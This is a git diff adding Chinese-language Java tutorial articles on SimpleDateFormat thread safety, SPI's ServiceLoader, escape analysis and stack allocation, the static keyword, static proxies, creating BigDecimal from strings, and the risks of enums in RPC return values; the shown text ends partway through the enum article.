+> Date formats are not synchronized. It is recommended to create separate format instances for each thread. If multiple threads access a format concurrently, it must be synchronized externally.
+
+那么接下来分析下为什么会出现这种问题,SimpleDateFormat底层到底是怎么实现的?
+
+我们跟一下SimpleDateFormat类中format方法的实现其实就能发现端倪。
+
+![][5]
+
+SimpleDateFormat中的format方法在执行过程中,会使用一个成员变量calendar来保存时间。这其实就是问题的关键。
+
+由于我们在声明SimpleDateFormat的时候,使用的是static定义的。那么这个SimpleDateFormat就是一个共享变量,随之,SimpleDateFormat中的calendar也就可以被多个线程访问到。
+
+假设线程1刚刚执行完`calendar.setTime`把时间设置成2018-11-11,还没等执行完,线程2又执行了`calendar.setTime`把时间改成了2018-12-12。这时候线程1继续往下执行,拿到的`calendar.getTime`得到的时间就是线程2改过之后的。
+
+除了format方法以外,SimpleDateFormat的parse方法也有同样的问题。
+
+所以,不要把SimpleDateFormat作为一个共享变量使用。
+
+#### 如何解决
+
+前面介绍过了SimpleDateFormat存在的问题以及问题存在的原因,那么有什么办法解决这种问题呢?
+
+解决方法有很多,这里介绍三个比较常用的方法。
+
+**使用局部变量**
+
+ for (int i = 0; i < 100; i++) {
+ //获取当前时间
+ Calendar calendar = Calendar.getInstance();
+ int finalI = i;
+ pool.execute(() -> {
+ // SimpleDateFormat声明成局部变量
+ SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+ //时间增加
+ calendar.add(Calendar.DATE, finalI);
+ //通过simpleDateFormat把时间转换成字符串
+ String dateString = simpleDateFormat.format(calendar.getTime());
+ //把字符串放入Set中
+ dates.add(dateString);
+ //countDown
+ countDownLatch.countDown();
+ });
+ }
+
+
+SimpleDateFormat变成了局部变量,就不会被多个线程同时访问到了,就避免了线程安全问题。
+
+**加同步锁**
+
+除了改成局部变量以外,还有一种方法大家可能比较熟悉的,就是对于共享变量进行加锁。
+
+ for (int i = 0; i < 100; i++) {
+ //获取当前时间
+ Calendar calendar = Calendar.getInstance();
+ int finalI = i;
+ pool.execute(() -> {
+ //加锁
+ synchronized (simpleDateFormat) {
+ //时间增加
+ calendar.add(Calendar.DATE, finalI);
+ //通过simpleDateFormat把时间转换成字符串
+ String dateString = simpleDateFormat.format(calendar.getTime());
+ //把字符串放入Set中
+ dates.add(dateString);
+ //countDown
+ countDownLatch.countDown();
+ }
+ });
+ }
+
+
+通过加锁,使多个线程排队顺序执行。避免了并发导致的线程安全问题。
+
+其实以上代码还有可以改进的地方,就是可以把锁的粒度再设置的小一点,可以只对`simpleDateFormat.format`这一行加锁,这样效率更高一些。
+
+**使用ThreadLocal**
+
+第三种方式,就是使用 ThreadLocal。 ThreadLocal 可以确保每个线程都可以得到单独的一个 SimpleDateFormat 的对象,那么自然也就不存在竞争问题了。
+
+ /**
+ * 使用ThreadLocal定义一个全局的SimpleDateFormat
+ */
+ private static ThreadLocal simpleDateFormatThreadLocal = new ThreadLocal() {
+ @Override
+ protected SimpleDateFormat initialValue() {
+ return new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
+ }
+ };
+
+ //用法
+ String dateString = simpleDateFormatThreadLocal.get().format(calendar.getTime());
+
+
+用 ThreadLocal 来实现其实是有点类似于缓存的思路,每个线程都有一个独享的对象,避免了频繁创建对象,也避免了多线程的竞争。
+
+当然,以上代码也有改进空间,就是,其实SimpleDateFormat的创建过程可以改为延迟加载。这里就不详细介绍了。
+
+**使用DateTimeFormatter**
+
+如果是Java8应用,可以使用DateTimeFormatter代替SimpleDateFormat,这是一个线程安全的格式化工具类。就像官方文档中说的,这个类 simple beautiful strong immutable thread-safe。
+
+ //解析日期
+ String dateStr= "2016年10月25日";
+ DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy年MM月dd日");
+ LocalDate date= LocalDate.parse(dateStr, formatter);
+
+ //日期转换为字符串
+ LocalDateTime now = LocalDateTime.now();
+ DateTimeFormatter format = DateTimeFormatter.ofPattern("yyyy年MM月dd日 hh:mm a");
+ String nowStr = now .format(format);
+ System.out.println(nowStr);
+
+
+### 总结
+
+本文介绍了SimpleDateFormat的用法,SimpleDateFormat主要可以在String和Date之间做转换,还可以将时间转换成不同时区输出。同时提到在并发场景中SimpleDateFormat是不能保证线程安全的,需要开发者自己来保证其安全性。
+
+主要的几个手段有改为局部变量、使用synchronized加锁、使用Threadlocal为每一个线程单独创建一个等。
+
+希望通过此文,你可以在使用SimpleDateFormat的时候更加得心应手。
+
+ [1]: https://www.hollischuang.com/wp-content/uploads/2018/11/15431240092595.jpg
+ [2]: https://www.hollischuang.com/wp-content/uploads/2018/11/15431240361504.jpg
+ [3]: https://www.hollischuang.com/archives/2888
+ [4]: https://www.hollischuang.com/archives/290
+ [5]: https://www.hollischuang.com/wp-content/uploads/2018/11/15431313894397.jpg
\ No newline at end of file
diff --git a/basics/java-basic/single-double-float.md b/docs/basics/java-basic/single-double-float.md
similarity index 100%
rename from basics/java-basic/single-double-float.md
rename to docs/basics/java-basic/single-double-float.md
diff --git a/docs/basics/java-basic/spi-principle.md b/docs/basics/java-basic/spi-principle.md
new file mode 100644
index 00000000..0880a1e3
--- /dev/null
+++ b/docs/basics/java-basic/spi-principle.md
@@ -0,0 +1,49 @@
+看ServiceLoader类的签名类的成员变量:
+
+ public final class ServiceLoader implements Iterable{
+ private static final String PREFIX = "META-INF/services/";
+
+ // 代表被加载的类或者接口
+ private final Class service;
+
+ // 用于定位,加载和实例化providers的类加载器
+ private final ClassLoader loader;
+
+ // 创建ServiceLoader时采用的访问控制上下文
+ private final AccessControlContext acc;
+
+ // 缓存providers,按实例化的顺序排列
+ private LinkedHashMap providers = new LinkedHashMap<>();
+
+ // 懒查找迭代器
+ private LazyIterator lookupIterator;
+
+ ......
+ }
+
+参考具体源码,梳理了一下,实现的流程如下:
+
+1 应用程序调用ServiceLoader.load方法
+
+ServiceLoader.load方法内先创建一个新的ServiceLoader,并实例化该类中的成员变量,包括:
+
+loader(ClassLoader类型,类加载器)
+
+acc(AccessControlContext类型,访问控制器)
+
+providers(LinkedHashMap类型,用于缓存加载成功的类)
+
+lookupIterator(实现迭代器功能)
+
+2 应用程序通过迭代器接口获取对象实例
+
+ServiceLoader先判断成员变量providers对象中(LinkedHashMap类型)是否有缓存实例对象,如果有缓存,直接返回。
+如果没有缓存,执行类的装载:
+
+读取META-INF/services/下的配置文件,获得所有能被实例化的类的名称
+
+通过反射方法Class.forName()加载类对象,并用instance()方法将类实例化
+
+把实例化后的类缓存到providers对象中(LinkedHashMap类型)
+
+然后返回实例对象。
\ No newline at end of file
diff --git a/docs/basics/java-basic/stack-alloc.md b/docs/basics/java-basic/stack-alloc.md
new file mode 100644
index 00000000..eb00b219
--- /dev/null
+++ b/docs/basics/java-basic/stack-alloc.md
@@ -0,0 +1,166 @@
+### JVM内存分配策略
+
+关于JVM的内存结构及内存分配方式,不是本文的重点,这里只做简单回顾。以下是我们知道的一些常识:
+
+1、根据Java虚拟机规范,Java虚拟机所管理的内存包括方法区、虚拟机栈、本地方法栈、堆、程序计数器等。
+
+2、我们通常认为JVM中运行时数据存储包括堆和栈。这里所提到的栈其实指的是虚拟机栈,或者说是虚拟栈中的局部变量表。
+
+3、栈中存放一些基本类型的变量数据(int/short/long/byte/float/double/Boolean/char)和对象引用。
+
+4、堆中主要存放对象,即通过new关键字创建的对象。
+
+5、数组引用变量是存放在栈内存中,数组元素是存放在堆内存中。
+
+在《深入理解Java虚拟机中》关于Java堆内存有这样一段描述:
+
+但是,随着JIT编译期的发展与逃逸分析技术逐渐成熟,栈上分配、标量替换优化技术将会导致一些微妙的变化,所有的对象都分配到堆上也渐渐变得不那么“绝对”了。
+
+这里只是简单提了一句,并没有深入分析,很多人看到这里由于对JIT、逃逸分析等技术不了解,所以也无法真正理解上面这段话的含义。
+
+**PS:这里默认大家都了解什么是JIT,不了解的朋友可以先自行Google了解下,或者加入我的知识星球,阅读那篇球友专享文章。**
+
+其实,在编译期间,JIT会对代码做很多优化。其中有一部分优化的目的就是减少内存堆分配压力,其中一种重要的技术叫做**逃逸分析**。
+
+### 逃逸分析
+
+逃逸分析(Escape Analysis)是目前Java虚拟机中比较前沿的优化技术。这是一种可以有效减少Java 程序中同步负载和内存堆分配压力的跨函数全局数据流分析算法。通过逃逸分析,Java Hotspot编译器能够分析出一个新的对象的引用的使用范围从而决定是否要将这个对象分配到堆上。
+
+逃逸分析的基本行为就是分析对象动态作用域:当一个对象在方法中被定义后,它可能被外部方法所引用,例如作为调用参数传递到其他地方中,称为方法逃逸。
+
+例如:
+
+ public static StringBuffer craeteStringBuffer(String s1, String s2) {
+ StringBuffer sb = new StringBuffer();
+ sb.append(s1);
+ sb.append(s2);
+ return sb;
+ }
+
+
+StringBuffer sb是一个方法内部变量,上述代码中直接将sb返回,这样这个StringBuffer有可能被其他方法所改变,这样它的作用域就不只是在方法内部,虽然它是一个局部变量,称其逃逸到了方法外部。甚至还有可能被外部线程访问到,譬如赋值给类变量或可以在其他线程中访问的实例变量,称为线程逃逸。
+
+上述代码如果想要StringBuffer sb不逃出方法,可以这样写:
+
+ public static String createStringBuffer(String s1, String s2) {
+ StringBuffer sb = new StringBuffer();
+ sb.append(s1);
+ sb.append(s2);
+ return sb.toString();
+ }
+
+
+不直接返回 StringBuffer,那么StringBuffer将不会逃逸出方法。
+
+使用逃逸分析,编译器可以对代码做如下优化:
+
+一、同步省略。如果一个对象被发现只能从一个线程被访问到,那么对于这个对象的操作可以不考虑同步。
+
+二、将堆分配转化为栈分配。如果一个对象在子程序中被分配,要使指向该对象的指针永远不会逃逸,对象可能是栈分配的候选,而不是堆分配。
+
+三、分离对象或标量替换。有的对象可能不需要作为一个连续的内存结构存在也可以被访问到,那么对象的部分(或全部)可以不存储在内存,而是存储在CPU寄存器中。
+
+上面的关于同步省略的内容,我在《[深入理解多线程(五)—— Java虚拟机的锁优化技术][1]》中有介绍过,即锁优化中的锁消除技术,依赖的也是逃逸分析技术。
+
+本文,主要来介绍逃逸分析的第二个用途:将堆分配转化为栈分配。
+
+> 其实,以上三种优化中,栈上内存分配其实是依靠标量替换来实现的。由于不是本文重点,这里就不展开介绍了。如果大家感兴趣,我后面专门出一篇文章,全面介绍下逃逸分析。
+
+在Java代码运行时,通过JVM参数可指定是否开启逃逸分析, `-XX:+DoEscapeAnalysis` : 表示开启逃逸分析 `-XX:-DoEscapeAnalysis` : 表示关闭逃逸分析 从jdk 1.7开始已经默认开始逃逸分析,如需关闭,需要指定`-XX:-DoEscapeAnalysis`
+
+### 对象的栈上内存分配
+
+我们知道,在一般情况下,对象和数组元素的内存分配是在堆内存上进行的。但是随着JIT编译器的日渐成熟,很多优化使这种分配策略并不绝对。JIT编译器就可以在编译期间根据逃逸分析的结果,来决定是否可以将对象的内存分配从堆转化为栈。
+
+我们来看以下代码:
+
+ public static void main(String[] args) {
+ long a1 = System.currentTimeMillis();
+ for (int i = 0; i < 1000000; i++) {
+ alloc();
+ }
+ // 查看执行时间
+ long a2 = System.currentTimeMillis();
+ System.out.println("cost " + (a2 - a1) + " ms");
+ // 为了方便查看堆内存中对象个数,线程sleep
+ try {
+ Thread.sleep(100000);
+ } catch (InterruptedException e1) {
+ e1.printStackTrace();
+ }
+ }
+
+ private static void alloc() {
+ User user = new User();
+ }
+
+ static class User {
+
+ }
+
+
+其实代码内容很简单,就是使用for循环,在代码中创建100万个User对象。
+
+**我们在alloc方法中定义了User对象,但是并没有在方法外部引用他。也就是说,这个对象并不会逃逸到alloc外部。经过JIT的逃逸分析之后,就可以对其内存分配进行优化。**
+
+我们指定以下JVM参数并运行:
+
+ -Xmx4G -Xms4G -XX:-DoEscapeAnalysis -XX:+PrintGCDetails -XX:+HeapDumpOnOutOfMemoryError
+
+
+在程序打印出 `cost XX ms` 后,代码运行结束之前,我们使用`[jmap][1]`命令,来查看下当前堆内存中有多少个User对象:
+
+ ➜ ~ jps
+ 2809 StackAllocTest
+ 2810 Jps
+ ➜ ~ jmap -histo 2809
+
+ num #instances #bytes class name
+ ----------------------------------------------
+ 1: 524 87282184 [I
+ 2: 1000000 16000000 StackAllocTest$User
+ 3: 6806 2093136 [B
+ 4: 8006 1320872 [C
+ 5: 4188 100512 java.lang.String
+ 6: 581 66304 java.lang.Class
+
+
+从上面的jmap执行结果中我们可以看到,堆中共创建了100万个`StackAllocTest$User`实例。
+
+在关闭逃避分析的情况下(-XX:-DoEscapeAnalysis),虽然在alloc方法中创建的User对象并没有逃逸到方法外部,但是还是被分配在堆内存中。也就说,如果没有JIT编译器优化,没有逃逸分析技术,正常情况下就应该是这样的。即所有对象都分配到堆内存中。
+
+接下来,我们开启逃逸分析,再来执行下以上代码。
+
+ -Xmx4G -Xms4G -XX:+DoEscapeAnalysis -XX:+PrintGCDetails -XX:+HeapDumpOnOutOfMemoryError
+
+
+在程序打印出 `cost XX ms` 后,代码运行结束之前,我们使用`jmap`命令,来查看下当前堆内存中有多少个User对象:
+
+ ➜ ~ jps
+ 709
+ 2858 Launcher
+ 2859 StackAllocTest
+ 2860 Jps
+ ➜ ~ jmap -histo 2859
+
+ num #instances #bytes class name
+ ----------------------------------------------
+ 1: 524 101944280 [I
+ 2: 6806 2093136 [B
+ 3: 83619 1337904 StackAllocTest$User
+ 4: 8006 1320872 [C
+ 5: 4188 100512 java.lang.String
+ 6: 581 66304 java.lang.Class
+
+
+从以上打印结果中可以发现,开启了逃逸分析之后(-XX:+DoEscapeAnalysis),在堆内存中只有8万多个`StackAllocTest$User`对象。也就是说在经过JIT优化之后,堆内存中分配的对象数量,从100万降到了8万。
+
+> 除了以上通过jmap验证对象个数的方法以外,读者还可以尝试将堆内存调小,然后执行以上代码,根据GC的次数来分析,也能发现,开启了逃逸分析之后,在运行期间,GC次数会明显减少。正是因为很多堆上分配被优化成了栈上分配,所以GC次数有了明显的减少。
+
+### 总结
+
+所以,如果以后再有人问你:是不是所有的对象和数组都会在堆内存分配空间?
+
+那么你可以告诉他:不一定,随着JIT编译器的发展,在编译期间,如果JIT经过逃逸分析,发现有些对象没有逃逸出方法,那么有可能堆内存分配会被优化成栈内存分配。但是这也并不是绝对的。就像我们前面看到的一样,在开启逃逸分析之后,也并不是所有User对象都没有在堆上分配。
+
+ [1]: http://www.hollischuang.com/archives/2344
\ No newline at end of file
diff --git a/docs/basics/java-basic/static-in-java.md b/docs/basics/java-basic/static-in-java.md
new file mode 100644
index 00000000..73b39fdd
--- /dev/null
+++ b/docs/basics/java-basic/static-in-java.md
@@ -0,0 +1,59 @@
+static表示“静态”的意思,用来修饰成员变量和成员方法,也可以形成静态static代码块
+
+### 静态变量
+
+我们用static表示变量的级别,一个类中的静态变量,不属于类的对象或者实例。因为静态变量与所有的对象实例共享,因此他们不具线程安全性。
+
+通常,静态变量常用final关键来修饰,表示通用资源或可以被所有的对象所使用。如果静态变量未被私有化,可以用“类名.变量名”的方式来使用。
+
+ //static variable example
+ private static int count;
+ public static String str;
+
+### 静态方法
+
+与静态变量一样,静态方法是属于类而不是实例。
+
+一个静态方法只能使用静态变量和调用静态方法。通常静态方法通常用于想给其他的类使用而不需要创建实例。例如:Collections class(类集合)。
+
+Java的包装类和实用类包含许多静态方法。main()方法就是Java程序入口点,是静态方法。
+
+ //static method example
+ public static void setCount(int count) {
+ if(count > 0)
+ StaticExample.count = count;
+ }
+
+ //static util method
+ public static int addInts(int i, int...js){
+ int sum=i;
+ for(int x : js) sum+=x;
+ return sum;
+ }
+
+从Java8以上版本开始也可以有接口类型的静态方法了。
+
+### 静态代码块
+
+Java的静态块是一组指令在类装载的时候在内存中由Java ClassLoader执行。
+
+静态块常用于初始化类的静态变量。大多时候还用于在类装载时候创建静态资源。
+
+Java不允许在静态块中使用非静态变量。一个类中可以有多个静态块,尽管这似乎没有什么用。静态块只在类装载入内存时,执行一次。
+
+ static{
+ //can be used to initialize resources when class is loaded
+ System.out.println("StaticExample static block");
+ //can access only static variables and methods
+ str="Test";
+ setCount(2);
+ }
+
+### 静态类
+
+Java可以嵌套使用静态类,但是静态类不能用于嵌套的顶层。
+
+静态嵌套类的使用与其他顶层类一样,嵌套只是为了便于项目打包。
+
+
+原文地址:https://zhuanlan.zhihu.com/p/26819685
\ No newline at end of file
diff --git a/basics/java-basic/static-proxy.md b/docs/basics/java-basic/static-proxy.md
similarity index 75%
rename from basics/java-basic/static-proxy.md
rename to docs/basics/java-basic/static-proxy.md
index 7886da15..b3c474e4 100644
--- a/basics/java-basic/static-proxy.md
+++ b/docs/basics/java-basic/static-proxy.md
@@ -12,7 +12,7 @@ public class HelloSeriviceImpl implements HelloSerivice{
}
}
```
-上面的代码比较简单,定义了一个接口和其实现类。这就是代理模式中的目标对象和目标对象的接口。接下类定义代理对象。
+上面的代码比较简单,定义了一个接口和其实现类。这就是代理模式中的目标对象和目标对象的接口。接下来定义代理对象。
```
public class HelloSeriviceProxy implements HelloSerivice{
@@ -50,9 +50,10 @@ public class Main {
这就是一个简单的静态的代理模式的实现。代理模式中的所有角色(代理对象、目标对象、目标对象的接口)等都是在编译期就确定好的。
-静态代理的用途
-控制真实对象的访问权限 通过代理对象控制对真实对象的使用权限。
+静态代理的用途
-避免创建大对象 通过使用一个代理小对象来代表一个真实的大对象,可以减少系统资源的消耗,对系统进行优化并提高运行速度。
+1.控制真实对象的访问权限:通过代理对象控制真实对象的使用权限。
-增强真实对象的功能 这个比较简单,通过代理可以在调用真实对象的方法的前后增加额外功能。
\ No newline at end of file
+2.避免创建大对象:通过使用一个代理小对象来代表一个真实的大对象,可以减少系统资源的消耗,对系统进行优化并提高运行速度。
+
+3.增强真实对象的功能:这个比较简单,通过代理可以在调用真实对象的方法的前后增加额外功能。
diff --git a/docs/basics/java-basic/stop-create-bigdecimal-with-double.md b/docs/basics/java-basic/stop-create-bigdecimal-with-double.md
new file mode 100644
index 00000000..ee5eed79
--- /dev/null
+++ b/docs/basics/java-basic/stop-create-bigdecimal-with-double.md
@@ -0,0 +1,163 @@
+很多人都知道,在进行金额表示、金额计算等场景,不能使用double、float等类型,而是要使用对精度支持的更好的BigDecimal。
+
+所以,很多支付、电商、金融等业务中,BigDecimal的使用非常频繁。**但是,如果误以为只要使用BigDecimal表示数字,结果就一定精确,那就大错特错了!**
+
+在之前的一篇文章中,我们介绍过,使用BigDecimal的equals方法并不能验证两个数是否真的相等([为什么阿里巴巴禁止使用BigDecimal的equals方法做等值比较?][1])。
+
+除了这个情况,BigDecimal的使用的第一步就是创建一个BigDecimal对象,如果这一步都有问题,那么后面怎么算都是错的!
+
+那到底应该如何正确的创建一个BigDecimal?
+
+**关于这个问题,我Review过很多代码,也面试过很多一线开发,很多人都掉进坑里过。这是一个很容易被忽略,但是又影响重大的问题。**
+
+关于这个问题,在《阿里巴巴Java开发手册》中有一条建议,或者说是要求:
+
+![][2]
+
+这是一条【强制】建议,那么,这背后的原理是什么呢?
+
+想要搞清楚这个问题,主要需要弄清楚以下几个问题:
+
+1、为什么说double不精确? 2、BigDecimal是如何保证精确的?
+
+在知道这两个问题的答案之后,我们也就大概知道为什么不能使用BigDecimal(double)来创建一个BigDecimal了。
+
+### double为什么不精确
+
+首先,**计算机是只认识二进制的**,即0和1,这个大家一定都知道。
+
+那么,所有数字,包括整数和小数,想要在计算机中存储和展示,都需要转成二进制。
+
+**十进制整数转成二进制很简单,通常采用"除2取余,逆序排列"即可,如10的二进制为1010。**
+
+但是,小数的二进制如何表示呢?
+
+十进制小数转成二进制,一般采用"乘2取整,顺序排列"方法,如0.625转成二进制的表示为0.101。
+
+但是,并不是所有小数都能转成二进制,如0.1就不能直接用二进制表示,他的二进制是0.000110011001100… 这是一个无限循环小数。
+
+**所以,计算机是没办法用二进制精确的表示0.1的。也就是说,在计算机中,很多小数没办法精确的使用二进制表示出来。**
+
+那么,这个问题总要解决吧。那么,**人们想出了一种采用一定的精度,使用近似值表示一个小数的办法**。这就是IEEE 754(IEEE二进制浮点数算术标准)规范的主要思想。
+
+IEEE 754规定了多种表示浮点数值的方式,其中最常用的就是32位单精度浮点数和64位双精度浮点数。
+
+在Java中,使用float和double分别用来表示单精度浮点数和双精度浮点数。
+
+所谓精度不同,可以简单的理解为保留有效位数不同。采用保留有效位数的方式近似的表示小数。
+
+所以,大家也就知道为什么**double表示的小数不精确**了。
+
+接下来,再回到BigDecimal的介绍,我们接下来看看是如何表示一个数的,他如何保证精确呢?
+
+### BigDecimal如何精确计数?
+
+如果大家看过BigDecimal的源码,其实可以发现,**实际上一个BigDecimal是通过一个"无标度值"和一个"标度"来表示一个数的。**
+
+在BigDecimal中,标度是通过scale字段来表示的。
+
+而无标度值的表示比较复杂。当unscaled value超过阈值(默认为Long.MAX_VALUE)时采用intVal字段存储unscaled value,intCompact字段存储Long.MIN_VALUE,否则对unscaled value进行压缩存储到long型的intCompact字段用于后续计算,intVal为空。
+
+涉及到的字段就是这几个:
+
+ public class BigDecimal extends Number implements Comparable {
+ private final BigInteger intVal;
+ private final int scale;
+ private final transient long intCompact;
+ }
+
+
+关于无标度值的压缩机制大家了解即可,不是本文的重点,大家只需要知道BigDecimal主要是通过一个无标度值和标度来表示的就行了。
+
+**那么标度到底是什么呢?**
+
+除了scale这个字段,在BigDecimal中还提供了scale()方法,用来返回这个BigDecimal的标度。
+
+ /**
+ * Returns the scale of this {@code BigDecimal}. If zero
+ * or positive, the scale is the number of digits to the right of
+ * the decimal point. If negative, the unscaled value of the
+ * number is multiplied by ten to the power of the negation of the
+ * scale. For example, a scale of {@code -3} means the unscaled
+ * value is multiplied by 1000.
+ *
+ * @return the scale of this {@code BigDecimal}.
+ */
+ public int scale() {
+ return scale;
+ }
+
+
+那么,scale到底表示的是什么,其实上面的注释已经说的很清楚了:
+
+> 如果scale为零或正值,则该值表示这个数字小数点右侧的位数。如果scale为负数,则该数字的真实值需要乘以10的该负数的绝对值的幂。例如,scale为-3,则这个数需要乘1000,即在末尾有3个0。
+
+如123.123,那么如果使用BigDecimal表示,那么他的无标度值为123123,他的标度为3。
+
+**而二进制无法表示的0.1,使用BigDecimal就可以表示了,及通过无标度值1和标度1来表示。**
+
+我们都知道,想要创建一个对象,需要使用该类的构造方法,在BigDecimal中一共有以下4个构造方法:
+
+ BigDecimal(int)
+ BigDecimal(double)
+ BigDecimal(long)
+ BigDecimal(String)
+
+
+以上四个方法,创建出来的的BigDecimal的标度(scale)是不同的。
+
+其中 BigDecimal(int)和BigDecimal(long) 比较简单,因为都是整数,所以他们的标度都是0。
+
+而BigDecimal(double) 和BigDecimal(String)的标度就有很多学问了。
+
+### BigDecimal(double)有什么问题
+
+BigDecimal中提供了一个通过double创建BigDecimal的方法——BigDecimal(double) ,但是,同时也给我们留了一个坑!
+
+因为我们知道,double表示的小数是不精确的,如0.1这个数字,double只能表示他的近似值。
+
+所以,**当我们使用new BigDecimal(0.1)创建一个BigDecimal 的时候,其实创建出来的值并不是正好等于0.1的。**
+
+而是0.1000000000000000055511151231257827021181583404541015625。这是因为doule自身表示的只是一个近似值。
+
+![][3]
+
+**所以,如果我们在代码中,使用BigDecimal(double) 来创建一个BigDecimal的话,那么是损失了精度的,这是极其严重的。**
+
+### 使用BigDecimal(String)创建
+
+那么,该如何创建一个精确的BigDecimal来表示小数呢,答案是使用String创建。
+
+而对于BigDecimal(String) ,当我们使用new BigDecimal("0.1")创建一个BigDecimal 的时候,其实创建出来的值正好就是等于0.1的。
+
+那么他的标度也就是1。
+
+但是需要注意的是,new BigDecimal("0.10000")和new BigDecimal("0.1")这两个数的标度分别是5和1,如果使用BigDecimal的equals方法比较,得到的结果是false,具体原因和解决办法参考[为什么阿里巴巴禁止使用BigDecimal的equals方法做等值比较?][1]
+
+那么,想要创建一个能精确的表示0.1的BigDecimal,请使用以下两种方式:
+
+ BigDecimal recommend1 = new BigDecimal("0.1");
+ BigDecimal recommend2 = BigDecimal.valueOf(0.1);
+
+
+这里,留一个思考题,BigDecimal.valueOf()是调用Double.toString方法实现的,那么,既然double都是不精确的,BigDecimal.valueOf(0.1)怎么保证精确呢?
+
+### 总结
+
+因为计算机采用二进制处理数据,但是很多小数,如0.1的二进制是一个无线循环小数,而这种数字在计算机中是无法精确表示的。
+
+所以,人们采用了一种通过近似值的方式在计算机中表示,于是就有了单精度浮点数和双精度浮点数等。
+
+所以,作为单精度浮点数的float和双精度浮点数的double,在表示小数的时候只是近似值,并不是真实值。
+
+所以,当使用BigDecimal(Double)创建一个的时候,得到的BigDecimal是损失了精度的。
+
+而使用一个损失了精度的数字进行计算,得到的结果也是不精确的。
+
+想要避免这个问题,可以通过BigDecimal(String)的方式创建BigDecimal,这样的情况下,0.1就会被精确的表示出来。
+
+其表现形式是一个无标度数值1,和一个标度1的组合。
+
+ [1]: https://mp.weixin.qq.com/s/iiZW9xr1Xb2JIaRFnWLZUg
+ [2]: https://www.hollischuang.com/wp-content/uploads/2021/01/16119907257353.jpg
+ [3]: https://www.hollischuang.com/wp-content/uploads/2021/01/16119945021181.jpg
\ No newline at end of file
diff --git a/docs/basics/java-basic/stop-use-enum-in-api.md b/docs/basics/java-basic/stop-use-enum-in-api.md
new file mode 100644
index 00000000..95f54aff
--- /dev/null
+++ b/docs/basics/java-basic/stop-use-enum-in-api.md
@@ -0,0 +1,175 @@
+最近,我们的线上环境出现了一个问题,线上代码在执行过程中抛出了一个IllegalArgumentException,分析堆栈后,发现最根本的的异常是以下内容:
+
+ java.lang.IllegalArgumentException:
+ No enum constant com.a.b.f.m.a.c.AType.P_M
+
+
+大概就是以上的内容,看起来还是很简单的,提示的错误信息就是在AType这个枚举类中没有找到P_M这个枚举项。
+
+于是经过排查,我们发现,在线上开始有这个异常之前,该应用依赖的一个下游系统有发布,而发布过程中是一个API包发生了变化,主要变化内容是在一个RPC接口的Response返回值类中的一个枚举参数AType中增加了P_M这个枚举项。
+
+但是下游系统发布时,并未通知到我们负责的这个系统进行升级,所以就报错了。
+
+我们来分析下为什么会发生这样的情况。
+
+### 问题重现
+
+首先,下游系统A提供了一个二方库的某一个接口的返回值中有一个参数类型是枚举类型。
+
+> 一方库指的是本项目中的依赖 二方库指的是公司内部其他项目提供的依赖 三方库指的是其他组织、公司等来自第三方的依赖
+
+ public interface AFacadeService {
+
+ public AResponse doSth(ARequest aRequest);
+ }
+
+ public Class AResponse{
+
+ private Boolean success;
+
+ private AType aType;
+ }
+
+ public enum AType{
+
+ P_T,
+
+ A_B
+ }
+
+
+然后B系统依赖了这个二方库,并且会通过RPC远程调用的方式调用AFacadeService的doSth方法。
+
+ public class BService {
+
+ @Autowired
+ AFacadeService aFacadeService;
+
+ public void doSth(){
+ ARequest aRequest = new ARequest();
+
+ AResponse aResponse = aFacadeService.doSth(aRequest);
+
+ AType aType = aResponse.getAType();
+ }
+ }
+
+
+这时候,如果A和B系统依赖的都是同一个二方库的话,两者使用到的枚举AType会是同一个类,里面的枚举项也都是一致的,这种情况不会有什么问题。
+
+但是,如果有一天,这个二方库做了升级,在AType这个枚举类中增加了一个新的枚举项P_M,这时候只有系统A做了升级,但是系统B并没有做升级。
+
+那么A系统依赖的的AType就是这样的:
+
+ public enum AType{
+
+ P_T,
+
+ A_B,
+
+ P_M
+ }
+
+
+而B系统依赖的AType则是这样的:
+
+ public enum AType{
+
+ P_T,
+
+ A_B
+ }
+
+
+这种情况下**,在B系统通过RPC调用A系统的时候,如果A系统返回的AResponse中的aType的类型位新增的P_M时候,B系统就会无法解析。一般在这种时候,RPC框架就会发生反序列化异常。导致程序被中断。**
+
+### 原理分析
+
+这个问题的现象我们分析清楚了,那么再来看下原理是怎样的,为什么出现这样的异常呢。
+
+其实这个原理也不难,这类**RPC框架大多数会采用JSON的格式进行数据传输**,也就是客户端会将返回值序列化成JSON字符串,而服务端会再将JSON字符串反序列化成一个Java对象。
+
+而JSON在反序列化的过程中,对于一个枚举类型,会尝试调用对应的枚举类的valueOf方法来获取到对应的枚举。
+
+而我们查看枚举类的valueOf方法的实现时,就可以发现,**如果从枚举类中找不到对应的枚举项的时候,就会抛出IllegalArgumentException**:
+
+ public static > T valueOf(Class enumType,
+ String name) {
+ T result = enumType.enumConstantDirectory().get(name);
+ if (result != null)
+ return result;
+ if (name == null)
+ throw new NullPointerException("Name is null");
+ throw new IllegalArgumentException(
+ "No enum constant " + enumType.getCanonicalName() + "." + name);
+ }
+
+
+关于这个问题,其实在《阿里巴巴Java开发手册》中也有类似的约定:
+
+![-w1538][1]
+
+这里面规定"**对于二方库的参数可以使用枚举,但是返回值不允许使用枚举**"。这背后的思考就是本文上面提到的内容。
+
+### 扩展思考
+
+**为什么参数中可以有枚举?**
+
+不知道大家有没有想过这个问题,其实这个就和二方库的职责有点关系了。
+
+一般情况下,A系统想要提供一个远程接口给别人调用的时候,就会定义一个二方库,告诉其调用方如何构造参数,调用哪个接口。
+
+而这个二方库的调用方会根据其中定义的内容来进行调用。而参数的构造过程是由B系统完成的,如果B系统使用到的是一个旧的二方库,使用到的枚举自然是已有的一些,新增的就不会被用到,所以这样也不会出现问题。
+
+比如前面的例子,B系统在调用A系统的时候,构造参数的时候使用到AType的时候就只有P_T和A_B两个选项,虽然A系统已经支持P_M了,但是B系统并没有使用到。
+
+如果B系统想要使用P_M,那么就需要对该二方库进行升级。
+
+但是,返回值就不一样了,返回值并不受客户端控制,服务端返回什么内容是根据他自己依赖的二方库决定的。
+
+但是,其实相比较于手册中的规定,**我更加倾向于,在RPC的接口中入参和出参都不要使用枚举。**
+
+一般,我们要使用枚举都是有几个考虑:
+
+* 1、枚举严格控制下游系统的传入内容,避免非法字符。
+
+* 2、方便下游系统知道都可以传哪些值,不容易出错。
+
+不可否认,使用枚举确实有一些好处,但是我不建议使用主要有以下原因:
+
